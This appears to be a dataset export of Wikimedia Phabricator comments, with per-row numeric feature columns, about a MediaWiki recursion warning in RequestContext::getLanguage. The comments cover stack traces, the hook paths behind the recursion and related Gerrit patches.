#25 /srv/mediawiki/w/includes/MediaWiki.php(273): MediaWiki->performAction()
#26 /srv/mediawiki/w/includes/MediaWiki.php(566): MediaWiki->performRequest()
#27 /srv/mediawiki/w/includes/MediaWiki.php(414): MediaWiki->main()
#28 /srv/mediawiki/w/index.php(41): MediaWiki->run()
#29 {main}
```",,,1441308367,,PHID-USER-e7a5lnjpgncgdxknmdxb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,113,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,2.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3389830508474576,0.6440677966101694,"Seems to not be Wikimedia-only, I experience this error too:
| Product | version
| MediaWiki | 1.25.2 (9c89a16) 18:08, 3 September 2015
| HHVM | 3.8.1 (srv)
| MariaDB | 10.0.20-MariaDB-0+deb8u1-log
Configuration: URL
``CODE``"
466726,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"That is still hitting us, stracktraces can be found in logstash with _type: mediawiki and channel: recursion-guard.

Is anyone working on it?",,,1433168184,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,100,,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,10.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.903225806451613,0.967741935483871,"That is still hitting us, stracktraces can be found in logstash with _type: mediawiki and channel: recursion-guard.

Is anyone working on it?"
400813,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174057 abandoned by Umherirrender:
Avoid calling Title::makeTitleSafe in User::idFromName

Reason:
Old branch, proper fix already in master (Ib902573996c69d1e77527cc7b2faf4e7fa5d3daf)

[[https://gerrit.wikimedia.org/r/174057]]",,,1421437119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,5.787878787878788,0.8181818181818182,"Change 174057 abandoned by Umherirrender:
Avoid calling Title::makeTitleSafe in User::idFromName

Reason:
Old branch, proper fix already in master (Ib902573996c69d1e77527cc7b2faf4e7fa5d3daf)

[[GERRIT_URL]]"
239724,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174057 had a related patch set uploaded by Ori.livneh:
Avoid calling Title::makeTitleSafe in User::idFromName

https://gerrit.wikimedia.org/r/174057",,,1416277543,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,72,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,6.052631578947368,1.0,"Change 174057 had a related patch set uploaded by Ori.livneh:
Avoid calling Title::makeTitleSafe in User::idFromName

GERRIT_URL"
239717,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174051 merged by jenkins-bot:
Avoid calling Title::makeTitleSafe in User::idFromName

https://gerrit.wikimedia.org/r/174051",,,1416276389,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.9375,1.0,"Change 174051 merged by jenkins-bot:
Avoid calling Title::makeTitleSafe in User::idFromName

GERRIT_URL"
239711,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174051 had a related patch set uploaded by Ori.livneh:
Avoid calling Title::makeTitleSafe in User::idFromName

https://gerrit.wikimedia.org/r/174051",,,1416275630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,72,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,6.052631578947368,1.0,"Change 174051 had a related patch set uploaded by Ori.livneh:
Avoid calling Title::makeTitleSafe in User::idFromName

GERRIT_URL"
239703,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"(In reply to Tim Starling from comment #17)
> Looks like bug 41201 again (""UserLoadFromSession considered evil""). I
> probably should have pushed that one a bit harder during the CA2 sprint. It
> should be a pretty simple change for Brad or Chris.

Is it?",,,1406922819,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,14.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.9047619047619047,0.8095238095238095,"(In reply to Tim Starling from comment #17)
QUOTE
QUOTE
QUOTE

Is it?"
239699,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Looks like bug 41201 again (""UserLoadFromSession considered evil""). I probably should have pushed that one a bit harder during the CA2 sprint. It should be a pretty simple change for Brad or Chris.",,,1387492413,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,18.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,8.0,8.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,4.125,0.875,"Looks like bug 41201 again (""UserLoadFromSession considered evil""). I probably should have pushed that one a bit harder during the CA2 sprint. It should be a pretty simple change for Brad or Chris."
239696,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,Hiding the warning in fatal monitor with Gerrit change #102557 - the stacktrace logging is still on,,,1387401105,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.611111111111111,0.9444444444444444,Hiding the warning in fatal monitor with Gerrit change #102557 - the stacktrace logging is still on
239695,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"So the problem generally appears to be that Language::getLanguage() unstubs the User object by trying to fetch the 'language' pref, and the various hooks called during that process may themselves wind up doing something that tries to call Language::getLanguage(). There are also some instances where something hooking 'UserGetLanguageObject' tries to call getLanguage().

Code paths I see in a quick look through the log include:
* getLanguage() → Log in from cookies → Trying to get the localized alias for NS_USER on wikis with variants → getLanguage()
** This seems to be a large number of the instances: srwiki, uzwiktionary, kuwiktionary, etc.
* getLanguage() → Autocreate account → AbuseFilter's checkNewAccount hook → dividebyzero → Trying to get localized error message → getLanguage()
** enwiki and eswiki have this
* getLanguage() → ULS's getLanguage hook → User::saveOptions → BetaFeatures's hook on UserSaveOptions → VisualEditor's onGetBetaPreferences hook or VectorBeta's prefs hook → getLanguage()
* getLanguage() → Autocreate account → User::saveOptions → BetaFeatures's hook on UserSaveOptions → VisualEditor's onGetBetaPreferences hook or VectorBeta's prefs hook → getLanguage()
* getLanguage() → Autocreate account → TitleBlacklist hit → Trying to get localized error message → getLanguage()
* getLanguage() → Autocreate account → NewUserMessage::createNewUserMessage → various different code paths involving the parser and/or MessageCache → getLanguage()

I think that the fallback behavior added in Gerrit change 48080 is probably the best thing to do in general.

BTW, the previous bug on this topic was probably bug 44754.",,,1385052270,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0.25,0.5,0.0,0.0,0.0,3.0,0.75,0.0,0.0,0.0,1.25,1.0,0.0,0.0,0.25,0.5,0.0,2.25,10.75,0.5,2.5,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.25,0.0,0.5,2.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.25,0.0,1.0,0.0,0.0,0.0,0.0,0.25,18.25,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.0,3.5,1.5,9.75,0.5,1.25,5.25,0.0,0.0,0.0,0.0,3.25,0.0,0.75,0.0,0.75,10.75,6.0,0.0,1.0,0.0,0.75,0.0,0.5,0.5,0.25,2.0,0.0,0.25,0.5,4.635551948051948,0.5909945317840054,"So the problem generally appears to be that Language::getLanguage() unstubs the User object by trying to fetch the 'language' pref, and the various hooks called during that process may themselves wind up doing something that tries to call Language::getLanguage(). There are also some instances where something hooking 'UserGetLanguageObject' tries to call getLanguage().

Code paths I see in a quick look through the log include:
* getLanguage() → Log in from cookies → Trying to get the localized alias for NS_USER on wikis with variants → getLanguage()
** This seems to be a large number of the instances: srwiki, uzwiktionary, kuwiktionary, etc.
* getLanguage() → Autocreate account → AbuseFilter's checkNewAccount hook → dividebyzero → Trying to get localized error message → getLanguage()
** enwiki and eswiki have this
* getLanguage() → ULS's getLanguage hook → User::saveOptions → BetaFeatures's hook on UserSaveOptions → VisualEditor's onGetBetaPreferences hook or VectorBeta's prefs hook → getLanguage()
* getLanguage() → Autocreate account → User::saveOptions → BetaFeatures's hook on UserSaveOptions → VisualEditor's onGetBetaPreferences hook or VectorBeta's prefs hook → getLanguage()
* getLanguage() → Autocreate account → TitleBlacklist hit → Trying to get localized error message → getLanguage()
* getLanguage() → Autocreate account → NewUserMessage::createNewUserMessage → various different code paths involving the parser and/or MessageCache → getLanguage()

I think that the fallback behavior added in Gerrit change 48080 is probably the best thing to do in general.

BTW, the previous bug on this topic was probably bug 44754."
239693,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"(In reply to comment #12)
> What a scary backtrace. It seems to relate on automatic creation of local
> accounts interacting with abuse filter. No wonder it seems to only happen in
> production.
> 
> I have no idea how to fix this. Perhaps automatic local account creation
> should
> happen somewhere else?

cc Anomie",,,1385043099,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.92,0.52,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

cc Anomie"
239692,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Given the backtrace, this does not seem to be an i18n issue, except for that the class (Stub)Language is involved at one level. Reclassifying and updating CCs accordingly. Niklas and I will stay on CC.",,,1385041071,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,17.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.073170731707317,0.8780487804878049,"Given the backtrace, this does not seem to be an i18n issue, except for that the class (Stub)Language is involved at one level. Reclassifying and updating CCs accordingly. Niklas and I will stay on CC."
239688,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"What a scary backtrace. It seems to relate on automatic creation of local accounts interacting with abuse filter. No wonder it seems to only happen in production.

I have no idea how to fix this. Perhaps automatic local account creation should happen somewhere else?",,,1385038063,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,10.0,14.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.48,0.8,"What a scary backtrace. It seems to relate on automatic creation of local accounts interacting with abuse filter. No wonder it seems to only happen in production.

I have no idea how to fix this. Perhaps automatic local account creation should happen somewhere else?"
239686,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"(In reply to comment #6)
> Would it be possible to provide more information about which wiki(s) display
> this behavior, or possibly even page(s)? Being able t reproduce this would
> probably go a long way towards resolving it.

I added a trace; additional ones are available in fluorine:/a/mw-log/recursion-guard-stack-trace.log. If you want me to grab additional ones, let me know.

(In reply to comment #7)
> Side note: the logs this information is extracted from, could we make those
> more widely available so they could get more eyeballs? From my experience
> doing this at translatewiki.net it often helps in identifying issues a lot
> earlier.

Yeah, fair point. We (platform & ops) are working on setting up a better platform for log analysis, probably using logstash. The current situation sucks.",,,1385032746,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,7.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,11.0,0.5,1.0,2.5,0.0,0.0,0.0,1.5,3.0,0.0,1.5,0.0,3.0,7.5,4.5,0.0,0.0,0.0,3.0,0.0,0.0,1.5,1.0,3.0,1.0,0.0,0.5,3.4411764705882355,0.7450980392156863,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

I added a trace; additional ones are available in fluorine:/a/mw-log/recursion-guard-stack-trace.log. If you want me to grab additional ones, let me know.

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, fair point. We (platform & ops) are working on setting up a better platform for log analysis, probably using logstash. The current situation sucks."
239684,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Created attachment 13858
stack trace from fluorine:/a/mw-log/recursion-guard-stack-trace.log

**Attached**: {F11344}",,,1385032556,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.6666666666666665,0.7333333333333333,"Created attachment 13858
stack trace from fluorine:/a/mw-log/recursion-guard-stack-trace.log

**Attached**: {F11344}"
239681,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 96709 merged by Ori.livneh:
Enable recursion-guard log bucket to investigate bug 54193

https://gerrit.wikimedia.org/r/96709",,,1385023044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,16.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.947368421052632,1.0,"Change 96709 merged by Ori.livneh:
Enable recursion-guard log bucket to investigate bug 54193

GERRIT_URL"
239677,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 96709 had a related patch set uploaded by Ori.livneh:
Enable recursion-guard log bucket to investigate bug 54193

https://gerrit.wikimedia.org/r/96709",,,1385022091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.791666666666667,1.0,"Change 96709 had a related patch set uploaded by Ori.livneh:
Enable recursion-guard log bucket to investigate bug 54193

GERRIT_URL"
239671,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Side note: the logs this information is extracted from, could we make those more widely available so they could get more eyeballs? From my experience doing this at translatewiki.net it often helps in identifying issues a lot earlier.",,,1385004900,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,12.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,0.0,4.666666666666667,0.9285714285714286,"Side note: the logs this information is extracted from, could we make those more widely available so they could get more eyeballs? From my experience doing this at translatewiki.net it often helps in identifying issues a lot earlier."
239663,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Would it be possible to provide more information about which wiki(s) display this behavior, or possibly even page(s)?

Being able t reproduce this would probably go a long way towards resolving it.",,,1385004767,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,8.0,3.0,3.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,3.0,4.394736842105263,0.9210526315789473,"Would it be possible to provide more information about which wiki(s) display this behavior, or possibly even page(s)?

Being able t reproduce this would probably go a long way towards resolving it."
239655,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,>200 of these every hour in /a/mw-log/apache2.log,,,1384994015,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,QUOTE
239649,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Every 2.0s: tail -n 1000 /home/wikipedia/syslog/apache.log | grep -v 'Search backend error' | grep -v -i 'swift' | grep 'PHP\|Segmentation ...  Tue Nov 12 22:33:46 2013

    240 Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.23wmf3/includes/context/RequestContext.php on line 284
